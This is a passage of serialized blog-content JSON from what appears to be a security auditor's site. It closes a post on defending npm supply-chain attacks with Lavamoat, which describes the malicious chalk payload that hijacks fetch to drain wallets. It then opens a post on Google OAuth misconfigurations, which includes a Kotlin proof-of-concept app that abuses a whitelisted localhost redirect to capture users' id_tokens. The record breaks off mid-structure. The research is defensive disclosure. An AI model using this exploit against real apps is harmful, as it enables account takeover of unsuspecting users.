the following actions to drain funds from a wallet:",{"type":24,"tag":3100,"props":101277,"children":101278},{},[101279,101291,101302,101313],{"type":24,"tag":3104,"props":101280,"children":101281},{},[101282,101284,101289],{"type":29,"value":101283},"Replace ",{"type":24,"tag":32,"props":101285,"children":101287},{"className":101286},[],[101288],{"type":29,"value":35909},{"type":29,"value":101290}," function to a custom one",{"type":24,"tag":3104,"props":101292,"children":101293},{},[101294,101296],{"type":29,"value":101295},"Access ",{"type":24,"tag":32,"props":101297,"children":101299},{"className":101298},[],[101300],{"type":29,"value":101301},"window.ethereum",{"type":24,"tag":3104,"props":101303,"children":101304},{},[101305,101307,101312],{"type":29,"value":101306},"Call original ",{"type":24,"tag":32,"props":101308,"children":101310},{"className":101309},[],[101311],{"type":29,"value":35909},{"type":29,"value":40030},{"type":24,"tag":3104,"props":101314,"children":101315},{},[101316],{"type":29,"value":101317},"Plus other actions not relevant here",{"type":24,"tag":25,"props":101319,"children":101320},{},[101321,101323,101329],{"type":29,"value":101322},"If the dApp is using Lavamoat with a generated policy for ",{"type":24,"tag":32,"props":101324,"children":101326},{"className":101325},[],[101327],{"type":29,"value":101328},"chalk 5.6.0",{"type":29,"value":101330}," (non-malicious version) it would look like this:",{"type":24,"tag":80,"props":101332,"children":101334},{"code":101333,"language":35812,"meta":7,"className":35810,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[101335],{"type":24,"tag":32,"props":101336,"children":101337},{"__ignoreMap":7},[101338,101350,101361,101381,101397,101404],{"type":24,"tag":90,"props":101339,"children":101340},{"class":92,"line":93},[101341,101346],{"type":24,"tag":90,"props":101342,"children":101343},{"style":1085},[101344],{"type":29,"value":101345},"\"chalk\"",{"type":24,"tag":90,"props":101347,"children":101348},{"style":114},[101349],{"type":29,"value":38838},{"type":24,"tag":90,"props":101351,"children":101352},{"class":92,"line":200},[101353,101357],{"type":24,"tag":90,"props":101354,"children":101355},{"style":136},[101356],{"type":29,"value":38846},{"type":24,"tag":90,"props":101358,"children":101359},{"style":114},[101360],{"type":29,"value":38838},{"type":24,"tag":90,"props":101362,"children":101363},{"class":92,"line":239},[101364,101369,101373,101377],{"type":24,"tag":90,"props":101365,"children":101366},{"style":136},[101367],{"type":29,"value":101368}," \"navigator.userAgent\"",{"type":24,"tag":90,"props":101370,"children":101371},{"style":114},[101372],{"type":29,"value":1833},{"type":24,"tag":90,"props":101374,"children":101375},{"style":97},[101376],{"type":29,"value":6380},{"type":24,"tag":90,"props":101378,"children":101379},{"style":114},[101380],{"type":29,"value":748},{"type":24,"tag":90,"props":101382,"children":101383},{"class":92,"line":248},[101384,101389,101393],{"type":24,"tag":90,"props":101385,"children":101386},{"style":136},[101387],{"type":29,"value":101388}," \"navigator.userAgentData\"",{"type":24,"tag":90,"props":101390,"children":101391},{"style":114},[101392],{"type":29,"value":1833},{"type":24,"tag":90,"props":101394,"children":101395},{"style":97},[101396],{"type":29,"value":39007},{"type":24,"tag":90,"props":101398,"children":101399},{"class":92,"line":258},[101400],{"type":24,"tag":90,"props":101401,"children":101402},{"style":114},[101403],{"type":29,"value":15030},{"type":24,"tag":90,"props":101405,"children":101406},{"class":92,"line":272},[101407],{"type":24,"tag":90,"props":101408,"children":101409},{"style":114},[101410],{"type":29,"value":27190},{"type":24,"tag":25,"props":101412,"children":101413},{},[101414,101416,101422],{"type":29,"value":101415},"That means that the chalk dependency can only access these two global attributes from ",{"type":24,"tag":32,"props":101417,"children":101419},{"className":101418},[],[101420],{"type":29,"value":101421},"navigator",{"type":29,"value":226},{"type":24,"tag":25,"props":101424,"children":101425},{},[101426,101428,101434],{"type":29,"value":101427},"When the compromised dApp would execute the malicious payload of ",{"type":24,"tag":32,"props":101429,"children":101431},{"className":101430},[],[101432],{"type":29,"value":101433},"chalk v5.6.1",{"type":29,"value":101435}," it would fail due to insufficient permissions:",{"type":24,"tag":25,"props":101437,"children":101438},{},[101439],{"type":24,"tag":6301,"props":101440,"children":101442},{"alt":52402,"src":101441},"/posts/supply-chain-attcks/error.png",[],{"type":24,"tag":25,"props":101444,"children":101445},{},[101446,101448,101453],{"type":29,"value":101447},"This error shows that the malware failed since it cannot redefine ",{"type":24,"tag":32,"props":101449,"children":101451},{"className":101450},[],[101452],{"type":29,"value":35909},{"type":29,"value":27277},{"type":24,"tag":80,"props":101455,"children":101457},{"code":101456},"TypeError#1: Cannot define property fetch, object is not extensible\n",[101458],{"type":24,"tag":32,"props":101459,"children":101460},{"__ignoreMap":7},[101461],{"type":29,"value":101456},{"type":24,"tag":850,"props":101463,"children":101465},{"id":101464},"lavamoat-in-practice",[101466],{"type":29,"value":101467},"Lavamoat In Practice",{"type":24,"tag":25,"props":101469,"children":101470},{},[101471,101473,101480],{"type":29,"value":101472},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":24,"tag":69,"props":101474,"children":101477},{"href":101475,"rel":101476},"https://osec.io/reports/lavamoat_audit_final.pdf",[73],[101478],{"type":29,"value":101479},"see the audit report",{"type":29,"value":22538},{"type":24,"tag":25,"props":101482,"children":101483},{},[101484],{"type":29,"value":101485},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":24,"tag":850,"props":101487,"children":101488},{"id":77627},[101489],{"type":29,"value":77630},{"type":24,"tag":25,"props":101491,"children":101492},{},[101493],{"type":29,"value":101494},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":24,"tag":25,"props":101496,"children":101497},{},[101498,101500,101505],{"type":29,"value":101499},"Version pinning and ",{"type":24,"tag":32,"props":101501,"children":101503},{"className":101502},[],[101504],{"type":29,"value":100941},{"type":29,"value":101506}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":24,"tag":5249,"props":101508,"children":101509},{},[101510],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":101512},[101513,101516,101517,101526,101527],{"id":99129,"depth":200,"text":99132,"children":101514},[101515],{"id":100764,"depth":239,"text":100767},{"id":100775,"depth":200,"text":100778},{"id":100791,"depth":200,"text":100794,"children":101518},[101519,101521,101523,101525],{"id":100802,"depth":239,"text":101520},"1. Version pinning in package.json",{"id":100932,"depth":239,"text":101522},"2. Use npm ci",{"id":100969,"depth":239,"text":101524},"3. Implement Lavamoat",{"id":101260,"depth":239,"text":101263},{"id":101464,"depth":200,"text":101467},{"id":77627,"depth":200,"text":77630},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":101532,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101533,"description":101534,"date":101535,"author":101536,"image":101537,"isFeatured":16,"onBlogPage":16,"tags":101539,"body":101542,"_type":5270,"_id":103873,"_source":5272,"_file":103874,"_stem":103875,"_extension":5275},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[33014,33013],{"src":101538,"width":99098,"height":14},"/posts/oauth-misconfigurations/title.png",[101540,101541],"oAuth","exchanges",{"type":21,"children":101543,"toc":103860},[101544,101550,101555,101561,101581,101587,101592,101605,101610,101618,101632,101641,101650,101664,101672,101683,101743,101749,101761,101810,101816,101821,101834,101841,101852,101872,101891,101912,101918,101931,101936,101942,101961,102586,102591,102604,103465,103470,103475,103481,103486,103492,103497,103510,103550,103556,103569,103574,103607,103612,103617,103642,103647,103659,103816,103821,103825,103837,103842,103846,103851,103856],{"type":24,"tag":850,"props":101545,"children":101547},{"id":101546},"exploiting-oauth",[101548],{"type":29,"value":101549},"Exploiting OAuth",{"type":24,"tag":25,"props":101551,"children":101552},{},[101553],{"type":29,"value":101554},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":24,"tag":1019,"props":101556,"children":101558},{"id":101557},"google-authentication-flows",[101559],{"type":29,"value":101560},"Google Authentication Flows",{"type":24,"tag":25,"props":101562,"children":101563},{},[101564,101566,101572,101574,101579],{"type":29,"value":101565},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":24,"tag":32,"props":101567,"children":101569},{"className":101568},[],[101570],{"type":29,"value":101571},"postMessage",{"type":29,"value":101573}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":24,"tag":32,"props":101575,"children":101577},{"className":101576},[],[101578],{"type":29,"value":71593},{"type":29,"value":101580}," to send the token back to the RP.",{"type":24,"tag":20686,"props":101582,"children":101584},{"id":101583},"gsi-new-flow",[101585],{"type":29,"value":101586},"GSI (New Flow)",{"type":24,"tag":25,"props":101588,"children":101589},{},[101590],{"type":29,"value":101591},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":24,"tag":3207,"props":101593,"children":101594},{},[101595,101600],{"type":24,"tag":3104,"props":101596,"children":101597},{},[101598],{"type":29,"value":101599},"Using FedCM API",{"type":24,"tag":3104,"props":101601,"children":101602},{},[101603],{"type":29,"value":101604},"Without using FedCM API",{"type":24,"tag":25,"props":101606,"children":101607},{},[101608],{"type":29,"value":101609},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":24,"tag":25,"props":101611,"children":101612},{},[101613],{"type":24,"tag":7711,"props":101614,"children":101615},{},[101616],{"type":29,"value":101617},"FedCM Method",{"type":24,"tag":25,"props":101619,"children":101620},{},[101621,101623,101630],{"type":29,"value":101622},"The FedCM method basically follows this ",{"type":24,"tag":69,"props":101624,"children":101627},{"href":101625,"rel":101626},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[73],[101628],{"type":29,"value":101629},"user experience",{"type":29,"value":101631},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":24,"tag":25,"props":101633,"children":101634},{},[101635,101637],{"type":29,"value":101636},"The normal flow, clicking the \"sign in\" button:\n",{"type":24,"tag":6301,"props":101638,"children":101640},{"alt":52402,"src":101639},"/posts/oauth-misconfigurations/image1.png",[],{"type":24,"tag":25,"props":101642,"children":101643},{},[101644,101646],{"type":29,"value":101645},"One-Tap popup shown when you open the page:\n",{"type":24,"tag":6301,"props":101647,"children":101649},{"alt":52402,"src":101648},"/posts/oauth-misconfigurations/image2.png",[],{"type":24,"tag":25,"props":101651,"children":101652},{},[101653,101655,101662],{"type":29,"value":101654},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":24,"tag":69,"props":101656,"children":101659},{"href":101657,"rel":101658},"https://github.com/w3c-fedid/FedCM/issues/429",[73],[101660],{"type":29,"value":101661},"FedCM auto-reauthentication",{"type":29,"value":101663},", which has certain preconditions that must be met.",{"type":24,"tag":25,"props":101665,"children":101666},{},[101667],{"type":24,"tag":7711,"props":101668,"children":101669},{},[101670],{"type":29,"value":101671},"Non-FedCM Method",{"type":24,"tag":25,"props":101673,"children":101674},{},[101675,101677,101682],{"type":29,"value":101676},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":24,"tag":32,"props":101678,"children":101680},{"className":101679},[],[101681],{"type":29,"value":101571},{"type":29,"value":78},{"type":24,"tag":3100,"props":101684,"children":101685},{},[101686,101691,101715,101720,101731],{"type":24,"tag":3104,"props":101687,"children":101688},{},[101689],{"type":29,"value":101690},"The user clicks the sign in button",{"type":24,"tag":3104,"props":101692,"children":101693},{},[101694,101696,101702,101704,101709,101710],{"type":29,"value":101695},"RP opens a popup/iframe to ",{"type":24,"tag":69,"props":101697,"children":101700},{"href":101698,"rel":101699},"https://accounts.google.com/o/oauth2/v2/auth",[73],[101701],{"type":29,"value":101698},{"type":29,"value":101703}," with some important parameters like ",{"type":24,"tag":32,"props":101705,"children":101707},{"className":101706},[],[101708],{"type":29,"value":71425},{"type":29,"value":13360},{"type":24,"tag":32,"props":101711,"children":101713},{"className":101712},[],[101714],{"type":29,"value":41952},{"type":24,"tag":3104,"props":101716,"children":101717},{},[101718],{"type":29,"value":101719},"The user clicks the \"Continue\" button to authorize authentication",{"type":24,"tag":3104,"props":101721,"children":101722},{},[101723,101725],{"type":29,"value":101724},"They get redirected to ",{"type":24,"tag":69,"props":101726,"children":101729},{"href":101727,"rel":101728},"https://accounts.google.com/gsi/transform",[73],[101730],{"type":29,"value":101727},{"type":24,"tag":3104,"props":101732,"children":101733},{},[101734,101736,101741],{"type":29,"value":101735},"/gsi/transform sends the token back to the RP via ",{"type":24,"tag":32,"props":101737,"children":101739},{"className":101738},[],[101740],{"type":29,"value":101571},{"type":29,"value":101742}," (after some SYN/ACK messages)",{"type":24,"tag":20686,"props":101744,"children":101746},{"id":101745},"oauth-20-old-flow",[101747],{"type":29,"value":101748},"OAuth 2.0 Old Flow",{"type":24,"tag":25,"props":101750,"children":101751},{},[101752,101754,101759],{"type":29,"value":101753},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":24,"tag":32,"props":101755,"children":101757},{"className":101756},[],[101758],{"type":29,"value":71593},{"type":29,"value":101760}," provided in the URL and validated by a whitelist configuration:",{"type":24,"tag":3100,"props":101762,"children":101763},{},[101764,101768,101789,101793],{"type":24,"tag":3104,"props":101765,"children":101766},{},[101767],{"type":29,"value":101690},{"type":24,"tag":3104,"props":101769,"children":101770},{},[101771,101772,101777,101778,101783,101784],{"type":29,"value":101695},{"type":24,"tag":69,"props":101773,"children":101775},{"href":101698,"rel":101774},[73],[101776],{"type":29,"value":101698},{"type":29,"value":101703},{"type":24,"tag":32,"props":101779,"children":101781},{"className":101780},[],[101782],{"type":29,"value":71425},{"type":29,"value":13360},{"type":24,"tag":32,"props":101785,"children":101787},{"className":101786},[],[101788],{"type":29,"value":71593},{"type":24,"tag":3104,"props":101790,"children":101791},{},[101792],{"type":29,"value":101719},{"type":24,"tag":3104,"props":101794,"children":101795},{},[101796,101797,101802,101804],{"type":29,"value":101724},{"type":24,"tag":32,"props":101798,"children":101800},{"className":101799},[],[101801],{"type":29,"value":71593},{"type":29,"value":101803}," with the token in the query parameters or ",{"type":24,"tag":32,"props":101805,"children":101807},{"className":101806},[],[101808],{"type":29,"value":101809},"location.hash",{"type":24,"tag":20686,"props":101811,"children":101813},{"id":101812},"different-configurations",[101814],{"type":29,"value":101815},"Different Configurations",{"type":24,"tag":25,"props":101817,"children":101818},{},[101819],{"type":29,"value":101820},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":24,"tag":3207,"props":101822,"children":101823},{},[101824,101829],{"type":24,"tag":3104,"props":101825,"children":101826},{},[101827],{"type":29,"value":101828},"Authorized origins",{"type":24,"tag":3104,"props":101830,"children":101831},{},[101832],{"type":29,"value":101833},"Authorized redirect URIs",{"type":24,"tag":25,"props":101835,"children":101836},{},[101837],{"type":24,"tag":6301,"props":101838,"children":101840},{"alt":52402,"src":101839},"/posts/oauth-misconfigurations/image3.png",[],{"type":24,"tag":25,"props":101842,"children":101843},{},[101844,101846,101851],{"type":29,"value":101845},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":24,"tag":32,"props":101847,"children":101849},{"className":101848},[],[101850],{"type":29,"value":71425},{"type":29,"value":226},{"type":24,"tag":25,"props":101853,"children":101854},{},[101855,101857,101863,101865,101870],{"type":29,"value":101856},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":24,"tag":32,"props":101858,"children":101860},{"className":101859},[],[101861],{"type":29,"value":101862},"/oauth2/v2/auth",{"type":29,"value":101864}," by checking the ",{"type":24,"tag":32,"props":101866,"children":101868},{"className":101867},[],[101869],{"type":29,"value":41952},{"type":29,"value":101871}," query parameter.",{"type":24,"tag":25,"props":101873,"children":101874},{},[101875,101877,101882,101884,101889],{"type":29,"value":101876},"In the old flow, the ",{"type":24,"tag":32,"props":101878,"children":101880},{"className":101879},[],[101881],{"type":29,"value":71593},{"type":29,"value":101883}," parameter passed in the ",{"type":24,"tag":32,"props":101885,"children":101887},{"className":101886},[],[101888],{"type":29,"value":101862},{"type":29,"value":101890}," endpoint is validated against the authorized redirect URIs.",{"type":24,"tag":25,"props":101892,"children":101893},{},[101894,101896,101901,101903,101910],{"type":29,"value":101895},"Note that the new GSI flow can also have a different flow using ",{"type":24,"tag":32,"props":101897,"children":101899},{"className":101898},[],[101900],{"type":29,"value":71593},{"type":29,"value":101902}," validation. To execute this flow, you need to specify ",{"type":24,"tag":69,"props":101904,"children":101907},{"href":101905,"rel":101906},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[73],[101908],{"type":29,"value":101909},"login_uri",{"type":29,"value":101911}," while using the SDK.",{"type":24,"tag":1019,"props":101913,"children":101915},{"id":101914},"localhost-exploit",[101916],{"type":29,"value":101917},"Localhost Exploit",{"type":24,"tag":25,"props":101919,"children":101920},{},[101921,101923,101929],{"type":29,"value":101922},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":24,"tag":32,"props":101924,"children":101926},{"className":101925},[],[101927],{"type":29,"value":101928},"localhost",{"type":29,"value":101930}," origin because it is considered trusted for local testing.",{"type":24,"tag":25,"props":101932,"children":101933},{},[101934],{"type":29,"value":101935},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":24,"tag":20686,"props":101937,"children":101939},{"id":101938},"exploit",[101940],{"type":29,"value":101941},"Exploit",{"type":24,"tag":25,"props":101943,"children":101944},{},[101945,101947,101952,101953,101959],{"type":29,"value":101946},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":24,"tag":32,"props":101948,"children":101950},{"className":101949},[],[101951],{"type":29,"value":101809},{"type":29,"value":15499},{"type":24,"tag":32,"props":101954,"children":101956},{"className":101955},[],[101957],{"type":29,"value":101958},"location.search",{"type":29,"value":101960},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":24,"tag":80,"props":101962,"children":101966},{"className":101963,"code":101964,"language":101965,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[101967],{"type":24,"tag":32,"props":101968,"children":101969},{"__ignoreMap":7},[101970,101999,102018,102025,102032,102051,102062,102073,102104,102127,102174,102181,102188,102195,102202,102222,102253,102264,102271,102278,102297,102320,102331,102350,102365,102376,102399,102434,102453,102460,102471,102494,102505,102517,102524,102531,102538,102545,102552,102579],{"type":24,"tag":90,"props":101971,"children":101972},{"class":92,"line":93},[101973,101978,101982,101986,101990,101994],{"type":24,"tag":90,"props":101974,"children":101975},{"style":97},[101976],{"type":29,"value":101977}," override",{"type":24,"tag":90,"props":101979,"children":101980},{"style":97},[101981],{"type":29,"value":8592},{"type":24,"tag":90,"props":101983,"children":101984},{"style":108},[101985],{"type":29,"value":72281},{"type":24,"tag":90,"props":101987,"children":101988},{"style":114},[101989],{"type":29,"value":72286},{"type":24,"tag":90,"props":101991,"children":101992},{"style":146},[101993],{"type":29,"value":72291},{"type":24,"tag":90,"props":101995,"children":101996},{"style":114},[101997],{"type":29,"value":101998},"?){\n",{"type":24,"tag":90,"props":102000,"children":102001},{"class":92,"line":200},[102002,102006,102010,102014],{"type":24,"tag":90,"props":102003,"children":102004},{"style":97},[102005],{"type":29,"value":72304},{"type":24,"tag":90,"props":102007,"children":102008},{"style":114},[102009],{"type":29,"value":226},{"type":24,"tag":90,"props":102011,"children":102012},{"style":108},[102013],{"type":29,"value":72313},{"type":24,"tag":90,"props":102015,"children":102016},{"style":114},[102017],{"type":29,"value":72318},{"type":24,"tag":90,"props":102019,"children":102020},{"class":92,"line":239},[102021],{"type":24,"tag":90,"props":102022,"children":102023},{"emptyLinePlaceholder":16},[102024],{"type":29,"value":245},{"type":24,"tag":90,"props":102026,"children":102027},{"class":92,"line":248},[102028],{"type":24,"tag":90,"props":102029,"children":102030},{"style":252},[102031],{"type":29,"value":72333},{"type":24,"tag":90,"props":102033,"children":102034},{"class":92,"line":258},[102035,102039,102043,102047],{"type":24,"tag":90,"props":102036,"children":102037},{"style":108},[102038],{"type":29,"value":72341},{"type":24,"tag":90,"props":102040,"children":102041},{"style":114},[102042],{"type":29,"value":72346},{"type":24,"tag":90,"props":102044,"children":102045},{"style":108},[102046],{"type":29,"value":72351},{"type":24,"tag":90,"props":102048,"children":102049},{"style":114},[102050],{"type":29,"value":269},{"type":24,"tag":90,"props":102052,"children":102053},{"class":92,"line":272},[102054,102058],{"type":24,"tag":90,"props":102055,"children":102056},{"style":636},[102057],{"type":29,"value":72363},{"type":24,"tag":90,"props":102059,"children":102060},{"style":114},[102061],{"type":29,"value":269},{"type":24,"tag":90,"props":102063,"children":102064},{"class":92,"line":281},[102065,102069],{"type":24,"tag":90,"props":102066,"children":102067},{"style":108},[102068],{"type":29,"value":72375},{"type":24,"tag":90,"props":102070,"children":102071},{"style":114},[102072],{"type":29,"value":2121},{"type":24,"tag":90,"props":102074,"children":102075},{"class":92,"line":384},[102076,102080,102084,102088,102092,102096,102100],{"type":24,"tag":90,"props":102077,"children":102078},{"style":114},[102079],{"type":29,"value":72387},{"type":24,"tag":90,"props":102081,"children":102082},{"style":108},[102083],{"type":29,"value":72392},{"type":24,"tag":90,"props":102085,"children":102086},{"style":114},[102087],{"type":29,"value":117},{"type":24,"tag":90,"props":102089,"children":102090},{"style":1085},[102091],{"type":29,"value":72401},{"type":24,"tag":90,"props":102093,"children":102094},{"style":114},[102095],{"type":29,"value":133},{"type":24,"tag":90,"props":102097,"children":102098},{"style":1085},[102099],{"type":29,"value":72410},{"type":24,"tag":90,"props":102101,"children":102102},{"style":114},[102103],{"type":29,"value":1686},{"type":24,"tag":90,"props":102105,"children":102106},{"class":92,"line":420},[102107,102111,102115,102119,102123],{"type":24,"tag":90,"props":102108,"children":102109},{"style":114},[102110],{"type":29,"value":72422},{"type":24,"tag":90,"props":102112,"children":102113},{"style":97},[102114],{"type":29,"value":50234},{"type":24,"tag":90,"props":102116,"children":102117},{"style":114},[102118],{"type":29,"value":72431},{"type":24,"tag":90,"props":102120,"children":102121},{"style":146},[102122],{"type":29,"value":72436},{"type":24,"tag":90,"props":102124,"children":102125},{"style":114},[102126],{"type":29,"value":1297},{"type":24,"tag":90,"props":102128,"children":102129},{"class":92,"line":428},[102130,102134,102138,102142,102146,102150,102154,102158,102162,102166,102170],{"type":24,"tag":90,"props":102131,"children":102132},{"style":114},[102133],{"type":29,"value":72387},{"type":24,"tag":90,"props":102135,"children":102136},{"style":108},[102137],{"type":29,"value":53278},{"type":24,"tag":90,"props":102139,"children":102140},{"style":114},[102141],{"type":29,"value":117},{"type":24,"tag":90,"props":102143,"children":102144},{"style":1085},[102145],{"type":29,"value":72401},{"type":24,"tag":90,"props":102147,"children":102148},{"style":114},[102149],{"type":29,"value":133},{"type":24,"tag":90,"props":102151,"children":102152},{"style":1085},[102153],{"type":29,"value":72468},{"type":24,"tag":90,"props":102155,"children":102156},{"style":97},[102157],{"type":29,"value":35923},{"type":24,"tag":90,"props":102159,"children":102160},{"style":120},[102161],{"type":29,"value":72477},{"type":24,"tag":90,"props":102163,"children":102164},{"style":97},[102165],{"type":29,"value":35955},{"type":24,"tag":90,"props":102167,"children":102168},{"style":1085},[102169],{"type":29,"value":21855},{"type":24,"tag":90,"props":102171,"children":102172},{"style":114},[102173],{"type":29,"value":72490},{"type":24,"tag":90,"props":102175,"children":102176},{"class":92,"line":437},[102177],{"type":24,"tag":90,"props":102178,"children":102179},{"style":114},[102180],{"type":29,"value":60710},{"type":24,"tag":90,"props":102182,"children":102183},{"class":92,"line":574},[102184],{"type":24,"tag":90,"props":102185,"children":102186},{"style":114},[102187],{"type":29,"value":5740},{"type":24,"tag":90,"props":102189,"children":102190},{"class":92,"line":606},[102191],{"type":24,"tag":90,"props":102192,"children":102193},{"emptyLinePlaceholder":16},[102194],{"type":29,"value":245},{"type":24,"tag":90,"props":102196,"children":102197},{"class":92,"line":615},[102198],{"type":24,"tag":90,"props":102199,"children":102200},{"style":252},[102201],{"type":29,"value":72519},{"type":24,"tag":90,"props":102203,"children":102204},{"class":92,"line":623},[102205,102209,102213,102217],{"type":24,"tag":90,"props":102206,"children":102207},{"style":97},[102208],{"type":29,"value":72527},{"type":24,"tag":90,"props":102210,"children":102211},{"style":114},[102212],{"type":29,"value":72532},{"type":24,"tag":90,"props":102214,"children":102215},{"style":120},[102216],{"type":29,"value":5491},{"type":24,"tag":90,"props":102218,"children":102219},{"style":1085},[102220],{"type":29,"value":102221}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":90,"props":102223,"children":102224},{"class":92,"line":632},[102225,102229,102233,102237,102241,102245,102249],{"type":24,"tag":90,"props":102226,"children":102227},{"style":97},[102228],{"type":29,"value":72527},{"type":24,"tag":90,"props":102230,"children":102231},{"style":114},[102232],{"type":29,"value":72553},{"type":24,"tag":90,"props":102234,"children":102235},{"style":120},[102236],{"type":29,"value":5491},{"type":24,"tag":90,"props":102238,"children":102239},{"style":108},[102240],{"type":29,"value":72562},{"type":24,"tag":90,"props":102242,"children":102243},{"style":114},[102244],{"type":29,"value":72567},{"type":24,"tag":90,"props":102246,"children":102247},{"style":108},[102248],{"type":29,"value":41028},{"type":24,"tag":90,"props":102250,"children":102251},{"style":114},[102252],{"type":29,"value":72576},{"type":24,"tag":90,"props":102254,"children":102255},{"class":92,"line":669},[102256,102260],{"type":24,"tag":90,"props":102257,"children":102258},{"style":108},[102259],{"type":29,"value":72584},{"type":24,"tag":90,"props":102261,"children":102262},{"style":114},[102263],{"type":29,"value":72589},{"type":24,"tag":90,"props":102265,"children":102266},{"class":92,"line":683},[102267],{"type":24,"tag":90,"props":102268,"children":102269},{"style":114},[102270],{"type":29,"value":612},{"type":24,"tag":90,"props":102272,"children":102273},{"class":92,"line":737},[102274],{"type":24,"tag":90,"props":102275,"children":102276},{"emptyLinePlaceholder":16},[102277],{"type":29,"value":245},{"type":24,"tag":90,"props":102279,"children":102280},{"class":92,"line":751},[102281,102285,102289,102293],{"type":24,"tag":90,"props":102282,"children":102283},{"style":97},[102284],{"type":29,"value":72611},{"type":24,"tag":90,"props":102286,"children":102287},{"style":97},[102288],{"type":29,"value":8592},{"type":24,"tag":90,"props":102290,"children":102291},{"style":108},[102292],{"type":29,"value":72620},{"type":24,"tag":90,"props":102294,"children":102295},{"style":114},[102296],{"type":29,"value":2245},{"type":24,"tag":90,"props":102298,"children":102299},{"class":92,"line":782},[102300,102304,102308,102312,102316],{"type":24,"tag":90,"props":102301,"children":102302},{"style":108},[102303],{"type":29,"value":72632},{"type":24,"tag":90,"props":102305,"children":102306},{"style":114},[102307],{"type":29,"value":72637},{"type":24,"tag":90,"props":102309,"children":102310},{"style":120},[102311],{"type":29,"value":5491},{"type":24,"tag":90,"props":102313,"children":102314},{"style":349},[102315],{"type":29,"value":72646},{"type":24,"tag":90,"props":102317,"children":102318},{"style":114},[102319],{"type":29,"value":1297},{"type":24,"tag":90,"props":102321,"children":102322},{"class":92,"line":791},[102323,102327],{"type":24,"tag":90,"props":102324,"children":102325},{"style":108},[102326],{"type":29,"value":72658},{"type":24,"tag":90,"props":102328,"children":102329},{"style":114},[102330],{"type":29,"value":269},{"type":24,"tag":90,"props":102332,"c